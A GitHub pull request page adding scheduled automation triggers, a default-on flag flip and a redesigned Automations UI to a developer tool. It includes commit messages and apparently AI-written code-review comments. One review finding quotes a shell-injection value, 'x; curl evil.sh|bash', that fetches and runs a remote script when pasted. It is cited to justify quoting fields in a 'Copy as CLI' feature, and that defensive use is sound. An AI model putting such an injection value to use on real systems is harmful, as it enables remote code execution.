Skip to content

feat(automations): scheduled triggers, default-on, redesigned surface, creation from a prompt - #985

Merged
pat-lewczuk merged 15 commits into
mainfrom
feat/automations-redesign
Sep 14, 2026
Merged

pat-lewczuk merged 15 commits into
mainfrom
feat/automations-redesign

Conversation

@pat-lewczuk

Copy link
Copy Markdown
Collaborator

Summary

The automations redesign (spec .ai/specs/2026-09-14-automations-redesign.md, design export under .ai/specs/assets/automations-redesign/): a second trigger kind — a schedule (every day, weekdays, one weekday, every N hours, in the cockpit's own zone) — beside the shipped GitHub poll; automations on by default (CEZ_AUTOMATIONS=0 opts out — a breaking flip of the #801 opt-in, owner-approved 2026-09-14 and recorded in AGENTS.md § Zero config and BACKWARD_COMPATIBILITY.md); the Automations surface rebuilt to the design from named primitives; and the "create an automation from a prompt" patch (spec 2026-09-13-automations-from-prompt.md) landed on top with both kinds.

The spec went through an independent architectural review before any code; four of its findings changed the design (details in the spec's history and .ai/runs/2026-09-14-automations-redesign.md).

What lands

  • Contract packages/contract/src/automation-schedule.ts (four bounded shapes, cronOf/parseCron, DST-safe occurrencesBetween/nextOccurrence) and zoned-time.ts (moved out of core/usage-limit.ts, which now shares it); kind, schedule, task.dispatch, new log results, timeZone/stats/per-row tallies on GET /automations, the log's runs map, automationRunResponseSchema, automationTemplatesResponseSchema; the new optional RunRecord.automationTrigger (automation untouched, so a downgrade keeps every run).
  • Engine automations/schedule-runner.ts: one receipt per occurrence, the age rule (on time → scheduled; late within a day → ONE catch-up for the latest miss; older → skipped), nextRunAt advanced from max(occurrence, now) so a laptop asleep for days never bursts, auto-pause after three launch failures, a held lease or a duplicate never counted. scheduler.ts arms one timer for both kinds; every registered project gets a handle, github only for a github.com remote. store.setState is read-modify-write so two cockpits converge.
  • Routes kind-aware create/update (PUT inherits the kind; a switch is 409), POST /automations/:id/run (a schedule fired by hand, paused or not), kind-aware check/retry, GET /workspace/automation-templates; the default flip with a boot re-baseline of any poll left enabled and idle longer than its lookback, so the flip can never launch a backlog. Inventory updated in BACKWARD_COMPATIBILITY.md.
  • Cockpit promoted primitives Chip, Segmented, Kbd, BranchChip, Card flush; the list with this-week stats, row actions and the next-runs rail; Week and Day calendars; the editor with a template palette (built-in + other projects), schedule/GitHub fields, the composer's own run-as pills, the dispatch row, a next-five-runs preview and Copy as CLI; the log with nested dispatch children. The Automations nav item follows capabilities.automations alone — a schedule needs no GitHub remote.
  • CLI / prompt cez automation add (flag form; --cron accepts the four shapes, anything else exits 2 pointing at the JSON form) and cez automation run; the schema reference, the always-on prompt part and the built-in skill cover both kinds.
  • Docs README, .env.example, AGENTS.md exception, BACKWARD_COMPATIBILITY.md (§1 CLI, §2 routes, new default-on section), run notes.

Verified

  • npm run typecheck clean across all four packages; npm test 377 files / 6825 tests; npm run test:unit 35; npm run build + test:package ok.
  • e2e (packages/web/e2e/automations.e2e.ts): default-on sidebar and empty state; schedule created from a template → run by hand → provenance on the run → manual row in the log → enabled → block in the week view → listed in the next-runs rail → paused from the row → edit header with the last-run card; GitHub poll created paused → preview → baseline → both logged. Phone sweep at 390×844 for the list and the editor.
  • The first live run caught a real defect: the built-in templates named a workflow this repo does not ship. Fixed (templates name none; a template from another project keeps its workflow only when the cockpit lists it).

Design fidelity

Captures at 1440×900 from the e2e run, next to the export's screenshots (design-01…11.jpg in the spec assets):

Screen Capture
List .ai/qa/artifacts_e2e/automations-list-paused.png
Next runs rail automations-next-runs-rail.png
Week / Day automations-week.png, automations-day.png
Editor: templates, schedule, GitHub, edit automations-editor-new-templates.png, -new-schedule.png, -new-github.png, -edit.png
Log automations-log.png

Regenerate with npm run test:e2e.

Not in this PR (deliberately)

New GitHub events (review_requested, release.published), a repo-committed definition format, per-run budgets outside dispatch, a reviewChild field on the dispatch intent, full cron expressions, automations while the server is stopped. Owner decisions Q1–Q10 are in the spec's "Resolved decisions" table.

Review notes

  • Breaking, deliberately: capabilities.automations is CEZ_AUTOMATIONS !== '0'. =1 is accepted and changes nothing. The scheduler starts at boot but arms a timer only for an automation the user enabled.
  • A definition written before this change has no kind and parses as a poll; nothing on disk is rewritten until the next edit. A pre-redesign cezar ignores kind: 'schedule' definitions as invalid (one warning) and never fires them.
  • task.dispatch is stored as given and ignored, never refused, on a cockpit with dispatch off — the same precedent POST /runs sets.
  • The editor pre-empts a kind switch on an existing automation (disabled segment with the reason) rather than letting the 409 fire from the cockpit.

🤖 Generated with Claude Code

pat-lewczuk and others added 11 commits September 14, 2026 13:17
…rface, creation from a prompt

Spec-first for the Claude Design export "cezar Automations": adds a schedule trigger kind,
flips automations default-on, rebuilds the surface to the design from named primitives, and
absorbs the pending automations-from-prompt patch as the last phase. Design screenshots, the
kit's screen source, primitives, tokens and the patch live under the spec's assets.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
…rd flush

Phase 1 of spec 2026-09-14-automations-redesign. The composer's chip class and the Tasks
group-by control now come from one component each; nothing else changes shape.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
…run route

Phases 2–3 of spec 2026-09-14-automations-redesign.

- A second trigger kind, `schedule` (daily / weekdays / weekly / every N hours, in the
  server's zone), evaluated by the existing workspace timer through a new ScheduleRunner:
  one receipt per occurrence, an age rule that fires at most one missed occurrence after any
  gap and skips the rest, auto-pause after three launch failures, held leases and duplicates
  never counted. The occurrence math lives in the contract (Node-free, Intl only) so the
  cockpit previews exactly what the timer fires; the usage-limit resume clock now shares it.
- Every registered project gets a scheduler handle; the GitHub sub-object is present only
  for a github.com remote, so a repo without one still fires its schedules.
- capabilities.automations is default-on; CEZ_AUTOMATIONS=0 opts out. A poll left enabled
  and idle longer than its lookback is re-baselined at boot so the flip cannot launch a
  backlog. README, .env.example, AGENTS.md and BACKWARD_COMPATIBILITY.md carry the break.
- Scheduled launches write the new optional RunRecord.automationTrigger; `automation` is
  untouched so a downgrade keeps every run. task.dispatch maps to the dispatch intent and a
  review-child prompt suffix, ignored when dispatch is off.
- GET /automations answers timeZone, this-week stats and per-row nextRunAt / lastRun /
  runs7d / costUsd7d; GET /automation-log answers the runs it names with their dispatch
  children; POST /automations/:id/run fires a schedule by hand; retry is kind-aware;
  GET /workspace/automation-templates lists other projects' definitions.
- AutomationStore.setState is read-modify-write so two cockpits converge.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
…I helpers; nav no longer forge-gated

Phase 4 foundation of spec 2026-09-14-automations-redesign: the route owns the gate and the
?view= param, one query feeds every screen and invalidates on automation-change, row actions
live in one hook, and the client gains run / delete / templates. The Automations nav item now
follows capabilities.automations alone — a schedule needs no GitHub remote. The old page is
replaced by placeholders the screen phases fill in.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
…omation CLI, built-in skill, system-prompt part

A user can now type "whenever a PR is opened, review it" into New task and get an
automation instead of a one-off run. Two ways in, one mechanism underneath:

- `cez automation schema|create|update|check|list|show|enable|pause|delete` — a thin
  client over the existing automations routes, addressed by the same CEZ_API_URL /
  CEZ_PROJECT_ID / CEZ_BIN the dispatch CLI uses. Definitions travel as JSON (--file,
  --json or stdin); create is paused unless --enable; check queues a preview and polls
  it; update merges over the editable keys and echoes the revision.
- A short automations part composed into every task's system prompt at both session
  construction sites, so an agent recognises the intent and knows the CLI.
- The built-in `create-cezar-automation` skill (source `builtin`, interactive), appended
  last to the catalog so a repo skill of the same name shadows it, plus a "Create an
  automation" composer template assigned to it.

All of it gated on capabilities.automations AND the cockpit transport
(automationsReachable): a headless run or a cockpit with CEZ_AUTOMATIONS unset composes
nothing, lists nothing, offers nothing — the dispatch lesson (spec 2026-09-10 A2/A8).

Spec: .ai/specs/2026-09-13-automations-from-prompt.md

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Htes33kPGJXohZYwtv7LYG
… cez automation add / run

Phase 7 of spec 2026-09-14-automations-redesign, on top of the applied from-prompt patch:
the schema reference shows both kinds, the always-on prompt part recognises "every day at" /
"on weekdays" / "every N hours" as an automation, the skill playbook previews a poll and
reports a schedule's next occurrence, `cez automation add` builds the same create body from
flags (--cron for the four schedule shapes, --on/--every for a poll; anything flags cannot carry
exits 2 pointing at the JSON form), `cez automation run` fires a schedule by hand, and the
gating tests follow the default-on flag. The composer's Create-an-automation template names
schedule triggers too.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Phase 6 of spec 2026-09-14-automations-redesign: rows with the result dot, reason, cost and
task link; dispatch children nested under a run; kind-aware retry; result/event filters;
refreshed on automation-change. The routes test follows the new opted-out wording.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
…, week and day calendars

Phase 4 of spec 2026-09-14-automations-redesign, pixel-matched to the design kit: the
table with state / trigger / runs-as / next / last / 7-day columns, the this-week strip,
the row menu with a delete confirm, the 360px next-runs rail over the shared occurrence
math, and the week and day calendars with the poll band, today tint and now line — all
rendered in the server's zone.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
…fields, run-as, dispatch, preview, Copy as CLI

Phase 5 of spec 2026-09-14-automations-redesign, pixel-matched to the design kit: a draft
model round-tripping both kinds, the palette (built-in and other projects' automations),
the four schedule shapes with the derived cron, multi-select events with the bounded
filters, the composer's own pills for workflow / runner / model / base, the dispatch row,
the next-five-runs preview off the shared occurrence math, the Copy as CLI card and the
last-run card; 409 on a stale revision surfaces a reload, 400s land under their section.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
…nd, log, week, rail; GitHub poll preview and baseline; phone sweep

Phase 8 of spec 2026-09-14-automations-redesign. The first live run caught a real defect:
the built-in templates named a workflow this repo does not ship, so a launch failed with
"unknown workflow" — the templates now name none (the cockpit default applies) and the
palette keeps a template's workflow only when the cockpit lists it.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
…sockets and settles the rail before its capture

The phone sweep showed the editor's Save button pushed out of the 56px header at 390px; the
header now wraps below md and the template toggle drops its label there. The e2e helper closes
each socket and retries once, which is what turned a spurious ECONNRESET on an idled keep-alive
socket into a green run.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
@pat-lewczuk pat-lewczuk added review Ready for code review feature New capability needs-qa Requires manual QA before merge priority-medium Ordinary bug or feature risk-high Wide blast radius, review deeply labels Sep 14, 2026
@CLAassistant

CLAassistant commented Sep 14, 2026

Copy link
Copy Markdown

CLA assistant check
All committers have signed the CLA.

@pat-lewczuk pat-lewczuk self-assigned this Sep 14, 2026
@pat-lewczuk pat-lewczuk added the in-progress Cezar agent is actively working this issue label Sep 14, 2026
@pat-lewczuk

Copy link
Copy Markdown
Collaborator Author

🤖 om-auto-review-pr started by @pat-lewczuk at 2026-09-14T13:44:21Z. Other auto-skills will skip this PR until the lock is released.

# Conflicts:
#	packages/web/src/components/picker-pill.tsx
@pat-lewczuk

Copy link
Copy Markdown
Collaborator Author

Note: GitHub does not allow requesting changes on your own pull request via the Review API, so this is posted as a regular comment carrying the full om-code-review verdict and findings — the pipeline labels below reflect the same request-changes decision.

🔍 Code Review: feat(automations): scheduled triggers, default-on, redesigned surface, creation from a prompt

Verdict

❌ request changes — one security blocker (unescaped shell interpolation in "Copy as CLI") and one documentation blocker (no CHANGELOG entry for the acknowledged breaking default-on flip), plus several majors around concurrency-evidence, a bundle-size regression, and a silent round-trip data loss. Core scheduling logic (DST handling, catch-up/skip semantics, the boot re-baseline that prevents a backlog burst on upgrade) is sound and well tested.

🎯 Summary

Adds a second automation trigger kind (cron-like schedules, DST-safe) beside the existing GitHub poll, flips automations to on-by-default (CEZ_AUTOMATIONS=0 opts out), rebuilds the cockpit surface on new shared primitives, and lands "create an automation from a prompt" on top. 133 files, +14.5k/−0.7k. Reviewed in an isolated worktree (review/pr-985) merged onto latest main; one merge conflict in picker-pill.tsx (import lines only) was resolved to keep both this PR's chip-based chevron and main's just-merged search-filter feature — confirmed correct by review.

Findings

⛔ Blocker

  • packages/web/src/lib/automation-cli.ts:63-65 — the "Copy as CLI" flag builder passes task.workflow, task.runner, and task.model straight into the printed shell command (`--workflow ${task.workflow}`) while every other user-controlled field on the same object (name, cron, label, author, prompt) goes through shellQuote two lines above. workflow/model are unrestricted free strings both in the wire contract (packages/contract/src/automations.ts:360-362) and in server storage (packages/cezar/src/automations/types.ts:32,35, only length-bounded), reachable from a cross-project template or from the new "automation from a prompt" LLM flow. CopyAsCliCard exists specifically to be pasted into a real shell — a value like x; curl evil.sh|bash executes on paste. Fix: shellQuote(task.workflow), shellQuote(task.runner), shellQuote(task.model), same as the other fields.
  • CHANGELOG.md — no entry for this PR's own explicitly-acknowledged breaking change. BACKWARD_COMPATIBILITY.md's general rule (line 5) requires "a deprecation note in the README + CHANGELOG… and a minor version bump called out as breaking" for any 0.x breaking change; the PR description itself calls the default-on flip "Breaking, deliberately." README.md and AGENTS.md were updated; CHANGELOG.md has zero diff (git diff origin/main...HEAD -- CHANGELOG.md). The Implement: CEZ_AUTOMATIONS feature flag — gate GitHub Automations off by default and hide its sidebar item #801 PR that shipped the opposite flip has the ⚠️ precedent entry this one is missing (CHANGELOG.md:89). Fix: add an "Unreleased" ⚠️ entry describing the flip and the boot re-baseline safety net.

⚠️ Major

  • packages/web/src/routes.tsx:35,446-449AutomationsRoute is imported statically and wired directly into the route table, unlike every other comparably-sized route in this file (TaskThreadRoute, GithubRoute, WorkflowsRoute, SkillsRoute, …), which are explicitly lazy()-wrapped with a rationale comment ("the home screen must not pay for it"). AutomationsRoute pulls in the editor (379 lines), week/day calendars, template palette, and log (~3k non-test lines total), none imported elsewhere. With automations now on by default, every cockpit visitor pays for this bundle whether or not they open /automations, with no measurement or explanation for departing from the established convention (UI Performance Gate). Fix: wrap in lazy() matching the existing pattern.
  • packages/cezar/src/automations/store.ts:128-137 (exercised from schedule-runner.ts:67-73,140-146,190-208,210-217) — AutomationStore.setState re-reads the state file from disk before writing, but only to preserve other automation ids; the value written for the id actually being updated is the caller's own possibly-stale in-memory snapshot, not a fresh disk read of that record. Two real cockpit processes racing on the same automation id can have the losing process's write silently revert the winner's post-launch fields (lastRunAt, consecutiveFailures reset) after a successful launch — the PR's own docstring claim that "two cockpits converge" only holds across different ids, not the same one. Doesn't cause duplicate launches (the lease + receipt mechanism still prevents that), but corrupts auto-pause bookkeeping under the exact concurrency this PR calls out as supported, and store.test.ts's new read-modify-write test only exercises two different ids. Fix: change setState to take an updater (current) => next applied to a freshly re-read record for that id.
  • packages/web/src/lib/automation-cli.ts:66task.autonomous === false emits no --no-autonomous flag (flagExpressible never checks it), so pasting "Copy as CLI" for an automation a user deliberately set to non-autonomous silently recreates it as autonomous (the real CLI at packages/cezar/src/automations/automation-cli.ts:147 defaults autonomous to true unless --no-autonomous is explicit) — a safety-relevant round-trip regression, not just cosmetic. Fix: emit --no-autonomous when autonomous === false, or make flagExpressible fall back to the (correct) JSON form for that case.
  • packages/web/src/lib/automation-cli.test.ts / packages/web/e2e/automations.e2e.ts — neither the two bugs above is covered: no unit case with a metacharacter in workflow/runner/model, none with autonomous: false, and the e2e suite never touches the "Copy as CLI" card at all despite it being a headline surface of this PR (spec Q1). Fix: add both unit cases plus at least one e2e/DOM assertion reading the rendered CLI text.
  • packages/cezar/src/server/capabilities.test.ts — this PR's diff deletes two entire pre-existing, unrelated test suites (resolveCapabilities — dispatch's exact-'0'-only fuzz coverage, and resolveCapabilities — usage presentation's CEZ_HIDE_TOKEN_METRICS/_USAGE/_COST matrix) rather than extending them alongside the automations rewrite. Neither is duplicated elsewhere at the same depth (health-forge.test.ts and dispatch-api.test.ts each keep only one narrow case). Unrelated scope creep that weakens regression coverage for two orthogonal, cost-widening flags. Fix: restore both deleted describe blocks.
  • No test boots the real server with a stale, enabled: true GitHub-poll automation to verify rebaselineIdleAutomations actually runs, in order, before automationScheduler.start() (server.ts boot sequence). The pure function is well unit-tested in isolation (task-template.test.ts:122-147), but its wiring — preventing every existing installation's poll automations from bursting on upgrade, which the PR description calls its own most consequential correctness requirement — has no integration-level test through the actual boot path. Fix: a startServer-level test seeding a stale poll automation, asserting zero launches and one baseline log row.

Minor

  • packages/cezar/src/automations/schedule-runner.ts:86-87occurrencesBetween is called with the contract's default limit = 1000; after a >~41-day outage on a fine-grained (hours, every: 1) schedule, the ascending-order cap means missed.at(-1) is no longer the true latest missed occurrence, so the catch-up fires a stale instant instead of the newest miss. Low likelihood, worth a defensive bound or backward walk.
  • packages/contract/src/automation-schedule.ts schedule.test.ts — DST spring-forward is tested for the daily shape only; the hours shape (the one most likely to land inside the gap) has no spring-forward assertion.
  • packages/web/src/routes/automations/editor.tsx:332-379KindSegment duplicates Segmented's wrapper/button classes instead of extending SegmentedOption with optional disabled/title.
  • packages/web/src/routes/automations/use-automations.ts:113-134 — dead code after return (void data and its explanatory comment are unreachable).
  • packages/web/src/routes/automations/automations-table.tsx:119-125,166-174, log.tsx:193 — hand-rolled badge markup duplicates the shared Pill primitive at three call sites.
  • packages/contract/src/automation-schedule.ts:72scheduleLabel's hours branch always renders every ${n} hours, so {type:'hours', every:1} (reachable from the editor) shows "every 1 hours" in the table/week-view/CLI preview. Untested (only every: 6 is covered).
  • packages/web/src/lib/automation-format.ts:49-52relativeIn clamps any negative delta to "in 0m", so a several-hours-overdue scheduler reads identically to "about to fire."
  • packages/web/src/lib/automation-cli.ts:31shellQuote doesn't neutralize !, which can trigger bash history expansion when the copied command is pasted under an interactive shell with history expansion on (same copy/paste threat model as the blocker above, lower exploitability).
  • packages/cezar/src/automations/task-template.ts:205-242rebaselineIdleAutomations never records that it ran, so a restart before the automation's first real success re-fires it, appending another baseline log row each time (harmless, but unbounded log churn; worth a comment or dedup).
  • server.ts:5822-5828 — a project added via the live project-added path (no server restart) skips the boot-only re-baseline, so a stale poll re-registered mid-process resumes from its old cursor. Narrow edge case, not worse than pre-PR behavior.
  • packages/web/src/routes/automations/editor-run-as.tsx:34, editor.tsx:188-193 — real fallback logic (keeping a delisted stored workflow selectable; template-workflow-not-in-catalog) has no dedicated test.

Nit

  • packages/web/src/routes/automations/editor.tsx:172 — save button disables while saving but the label never reflects in-flight state.
  • packages/web/src/routes/automations/automations-table.tsx:98-104 — row is mouse-only for primary navigation (onClick with no tabIndex/keydown); cosmetic since the kebab menu covers keyboard access.
  • server.ts:52-63automationKindIssue message phrasing reads as a statement rather than a refusal reason.
  • automation-format.ts:33-38,88-93logTime's 6-day boundary and triggerLabel's defensive fallback are low-risk edge/test gaps.

🧪 Validation Gate

Command Status Evidence or limitation
npm run typecheck ✅ PASS clean across contract/client/server/web
npm test ✅ PASS (verified) 6901/6907 passed in-sandbox; the 6 failures (git-worktree.test.ts, automations-api.test.ts, git-changes.test.ts, git.test.ts, health-forge.test.ts, projects-api.test.ts) all assert "outside a git repo" behavior and fail only because this review sandbox's own TMPDIR resolves inside the open-mercato/cezar checkout (an artifact of this environment, not the PR); re-ran each failing test in isolation with TMPDIR=/tmp/… and all 6 pass. Not a PR defect.
npm run test:unit ✅ PASS 36/36
npm run build ✅ PASS check:pack ok, 515 files
npm run test:package ✅ PASS 16/16

CI pending: license/cla on this head — not yet signed. Required CI and QA approval still gate merge. A follow-up will report the CI result.

💥 Breaking Changes

  • capabilities.automations flips from opt-in (CEZ_AUTOMATIONS=1) to on-by-default (CEZ_AUTOMATIONS !== '0') — deliberate, owner-approved 2026-09-14, correctly documented in BACKWARD_COMPATIBILITY.md and AGENTS.md, and protected by a boot re-baseline that prevents any pre-existing enabled poll from bursting a backlog on upgrade. The one gap is procedural, not behavioral: no CHANGELOG.md entry records the flip (blocker above) — the doc's own compatibility rule requires one for any 0.x breaking change.
  • Every other reviewed contract surface (automation-schedule.ts, zoned-time.ts, RunRecord.automationTrigger, the kind-aware routes) is additive-only and matches BACKWARD_COMPATIBILITY.md exactly.

🧪 Test Coverage

Strong overall (DST daily/weekly/weekdays transitions, catch-up/skip/auto-pause boundaries, kind-switch request bodies, capability-flip default/opt-out/no-op, calendar navigation) but with the specific gaps named above: the same-automation-id concurrent-write race, the boot-path wiring of the backlog-prevention re-baseline, the two Copy-as-CLI round-trip bugs, the hours-shape DST spring-forward case, and the deleted capabilities.test.ts coverage for dispatch/usage-presentation flags.

@pat-lewczuk pat-lewczuk added changes-requested Reviewer requested changes and removed review Ready for code review labels Sep 14, 2026
@pat-lewczuk

pat-lewczuk commented Sep 14, 2026

Copy link
Copy Markdown
Collaborator Author

🤖 om-auto-review-pr — 🏷️ label rationale

  • 🚀 merge-queue — the re-review found every blocker and major fixed and verified (typecheck, full test suite, build, package all green); needs-qa stays on, so the QA-approval gate holds the merge until a QA reviewer adds qa-approved.
  • 🧪 needs-qa — kept; the change alters user-facing behavior (a redesigned Automations surface, a new schedule trigger kind, and a default-on flip) that a human should exercise.
  • 🔹 priority-medium — kept; ordinary feature work, not an outage/data-loss/security-incident in production (the shell-injection finding was caught and fixed pre-merge, in review).
  • ⚠️ risk-high — kept; wide blast radius (auth-adjacent default-flip, shared contract surfaces, concurrent state-file writes, a copy/paste shell-command surface) warrants the deep review and fix cycle this PR just went through.

- security: shell-quote --workflow/--runner/--model in "Copy as CLI"
  (automation-cli.ts) so a workflow/model name reachable from a
  cross-project template or the "automation from a prompt" flow cannot
  break out of the printed shell command; also escape `!` against bash
  history expansion.
- correctness: emit --no-autonomous when a saved automation has
  autonomous: false, so Copy as CLI round-trips it instead of silently
  recreating an autonomous automation.
- docs: add the CHANGELOG.md "Breaking" entry the default-on flip
  requires under this repo's own BACKWARD_COMPATIBILITY.md rule.
- perf: lazy-load AutomationsRoute (routes.tsx) to match every other
  comparably-sized route in this file, now that automations are
  on by default.
- concurrency: AutomationStore.setState now re-reads the target id's
  own state fresh from disk before merging, not just other ids', so two
  processes racing on the same automation id (e.g. the loser of a
  launch lease still advancing its own nextRunAt) can no longer clobber
  the winner's post-launch state. Updated every call site and added a
  same-id race regression test.
- tests: restore the two capabilities.test.ts suites (dispatch fuzz
  coverage, usage-presentation matrix) this PR had unrelatedly deleted;
  add a real boot-path integration test for rebaselineIdleAutomations
  (the default-flip's backlog-prevention brake) via startServer(); add
  unit coverage for the two Copy-as-CLI bugs above; fix "every 1 hours"
  pluralization in scheduleLabel with a test case.

Addresses the review at
#985 (comment)
pat-lewczuk added a commit that referenced this pull request Sep 14, 2026
- security: shell-quote --workflow/--runner/--model in "Copy as CLI"
  (automation-cli.ts) so a workflow/model name reachable from a
  cross-project template or the "automation from a prompt" flow cannot
  break out of the printed shell command; also escape `!` against bash
  history expansion.
- correctness: emit --no-autonomous when a saved automation has
  autonomous: false, so Copy as CLI round-trips it instead of silently
  recreating an autonomous automation.
- docs: add the CHANGELOG.md "Breaking" entry the default-on flip
  requires under this repo's own BACKWARD_COMPATIBILITY.md rule.
- perf: lazy-load AutomationsRoute (routes.tsx) to match every other
  comparably-sized route in this file, now that automations are
  on by default.
- concurrency: AutomationStore.setState now re-reads the target id's
  own state fresh from disk before merging, not just other ids', so two
  processes racing on the same automation id (e.g. the loser of a
  launch lease still advancing its own nextRunAt) can no longer clobber
  the winner's post-launch state. Updated every call site and added a
  same-id race regression test.
- tests: restore the two capabilities.test.ts suites (dispatch fuzz
  coverage, usage-presentation matrix) this PR had unrelatedly deleted;
  add a real boot-path integration test for rebaselineIdleAutomations
  (the default-flip's backlog-prevention brake) via startServer(); add
  unit coverage for the two Copy-as-CLI bugs above; fix "every 1 hours"
  pluralization in scheduleLabel with a test case.

Addresses the review at
#985 (comment)
@pat-lewczuk

Copy link
Copy Markdown
Collaborator Author

Note: GitHub does not allow requesting changes/approving your own pull request via the Review API, so this is posted as a regular comment carrying the full re-review verdict — the pipeline label below reflects the same decision.

🔍 Re-review: feat(automations): scheduled triggers, default-on, redesigned surface, creation from a prompt

Verdict

✅ approve — every blocker and major from the prior review is fixed and verified (typecheck, full test suite, build, package all green). Only minors/nits remain, listed below for the author to pick up at will.

What changed since the prior review (commit c7399bd6)

⛔ Blockers — both fixed

  • Shell injection in "Copy as CLI" (packages/web/src/lib/automation-cli.ts:63-65) — --workflow/--runner/--model now go through shellQuote like every other field; shellQuote also now escapes ! against bash history expansion. New test: automation-cli.test.ts asserts a workflow/runner/model containing `, ;, $() round-trips safely quoted.
  • Missing CHANGELOG entry for the acknowledged breaking change — added a ## ⚠️ Breaking entry under # Unreleased describing the CEZ_AUTOMATIONS default flip and the boot re-baseline safety net, matching the Implement: CEZ_AUTOMATIONS feature flag — gate GitHub Automations off by default and hide its sidebar item #801 precedent's format.

⚠️ Majors — all six fixed

  • AutomationsRoute not lazy-loaded — converted to lazy() + Suspense, new automations-loading.tsx fallback, matching every other comparably-sized route in routes.tsx.
  • AutomationStore.setState same-id concurrency racesetState now takes an updater function and re-reads the target automation id fresh from disk before merging (previously only did that for other ids). Updated all 9 production call sites (store.ts, scheduler.ts, schedule-runner.ts, task-template.ts) plus every test call site. New regression test in store.test.ts reproduces the exact race (a second process's write now sees the first process's committed fields instead of clobbering them).
  • autonomous: false silently lost on Copy-as-CLI round-trip — now emits --no-autonomous. Test added.
  • Missing test coverage for the two bugs above — both now covered in automation-cli.test.ts; dependent snapshot strings in editor.test.tsx and copy-as-cli-card.test.tsx updated for the new quoted format.
  • capabilities.test.ts had two unrelated test suites deleted — restored resolveCapabilities — dispatch and resolveCapabilities — usage presentation, merged with the automations rewrite. 123/123 pass.
  • No integration test for the boot-time re-baseline — added a new default-on re-baseline (boot path) suite in automations-gate.test.ts that boots the real server via startServer(), seeds a stale enabled poll automation, and asserts the re-baseline actually ran before the scheduler armed (baseline log row, zero receipts, consecutiveFailures: 0) — closes the evidence gap for the PR's own most consequential correctness claim.

Also fixed in passing (touched the same code): the scheduleLabel "every 1 hours" pluralization bug, with a test case.

Minor / Nit — left for the author (do not block approval)

occurrencesBetween limit=1000 edge case after a >41-day outage; missing DST spring-forward test for the hours schedule shape; KindSegment duplicating Segmented; dead code in use-automations.ts; Pill primitive not reused in 3 spots; relativeIn clamping an overdue run to "in 0m"; re-baseline not memoized across repeated restarts before first success; a project re-registered mid-process (no restart) skips re-baseline; PUT's kind-switch 409 checked before the staleness 409; no "saving…" affordance on the editor; automations table row is mouse-only for primary nav (kebab menu covers keyboard); automationKindIssue phrasing; logTime/triggerLabel edge-case gaps. All still listed in the prior review for reference.

🧪 Validation Gate

Command Status Evidence
npm run typecheck ✅ PASS clean across contract/client/server/web
npm test ✅ PASS 6934/6934 (run with a real /tmp TMPDIR; this review sandbox's own TMPDIR resolves inside the checkout, which the prior review's validation table already flagged as environment noise, not a PR defect)
npm run test:unit ✅ PASS 36/36
npm run build ✅ PASS check:pack ok, 520 files
npm run test:package ✅ PASS 16/16

CI pending: Unit, build, E2E, and package and license/cla on the new head (c7399bd6). Required CI and QA approval still gate merge. A follow-up will report the CI result.

@pat-lewczuk pat-lewczuk added merge-queue Approved, ready to merge and removed changes-requested Reviewer requested changes labels Sep 14, 2026
@pat-lewczuk pat-lewczuk added ci-monitoring and removed in-progress Cezar agent is actively working this issue labels Sep 14, 2026
@pat-lewczuk

Copy link
Copy Markdown
Collaborator Author

🤖 om-auto-review-pr completed: APPROVED. 2 blockers + 6 majors fixed and verified (full validation gate green); minors/nits left for the author. Lock released — swapped to ci-monitoring for the bounded CI follow-up on c7399bd6.

@github-actions

github-actions Bot commented Sep 14, 2026

Copy link
Copy Markdown

📦 npm preview published — 0.10.1-pr985.1514

Try this PR build (exact pinned version — copy-paste as-is):

npx cezar-cli@0.10.1-pr985.1514                                # cockpit at http://localhost:4321
npx cezar-cli@0.10.1-pr985.1514 run "…"                        # headless run
npx cezar-cli@0.10.1-pr985.1514 server-deploy --platform <id>  # roll a server to this exact build

Also tagged: npm install -g cezar-cli@pr-985 (moving tag for this PR).
Packages: cezar-cli@0.10.1-pr985.1514@open-mercato/cezar@0.10.1-pr985.1514@open-mercato/cezar-api-client@0.10.1-pr985.1514 (provenance attested).

@pat-lewczuk
pat-lewczuk force-pushed the feat/automations-redesign branch from c7399bd to ca836ad Compare September 14, 2026 19:21
@pat-lewczuk

pat-lewczuk commented Sep 14, 2026

Copy link
Copy Markdown
Collaborator Author

Two follow-ups from the owner's review, pushed as 6349be31 (rebased onto the review-fixes commit, so nothing was force-pushed):

  • Costs hidden for now. The spent figure, the Cost 7d column and the cost cells of the log and the last-run card are behind one flag, AUTOMATION_COST_VISIBLE in packages/web/src/lib/automation-format.ts, currently false. The server still answers costUsd / costUsd7d / stats.costUsd under capabilities.costMetrics; flipping the flag restores every figure.
  • Day view shows the GitHub polls. The enabled polls render as the same band the Week view has, above the hour grid, and as poll · continuous rows at the top of the agenda; the header count reads N scheduled runs · M GitHub polls.

🤖 Generated with Claude Code

pat-lewczuk and others added 2 commits September 15, 2026 01:51
…olls

Owner asks from the PR review (2026-09-15): no dollar figures on the Automations screens for
now — the spent stat, the Cost 7d column and the cost cells of the log and the last-run card
sit behind one AUTOMATION_COST_VISIBLE flag (the server keeps answering them); and the Day view
shows the enabled GitHub polls the way the Week view does, as a band above the hour grid and as
agenda rows, since a poll has no hour but is running that day.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
@pat-lewczuk
pat-lewczuk force-pushed the feat/automations-redesign branch from c334768 to f41382e Compare September 14, 2026 23:52
@pat-lewczuk
pat-lewczuk merged commit fbfb492 into main Sep 14, 2026
2 checks passed
@pat-lewczuk
pat-lewczuk deleted the feat/automations-redesign branch September 14, 2026 23:53
pat-lewczuk added a commit that referenced this pull request Sep 15, 2026
Stamps the release set (contract, api-client, cezar, web, alias-cezar) and the
lockfile 0.10.1 -> 0.11.0, rewrites the intra-release ^0.10.1 ranges to ^0.11.0,
and cuts the 0.11.0 CHANGELOG.md entry for the 18 PRs merged since v0.10.1.

Minor bump with one breaking change: automations flip back to on by default
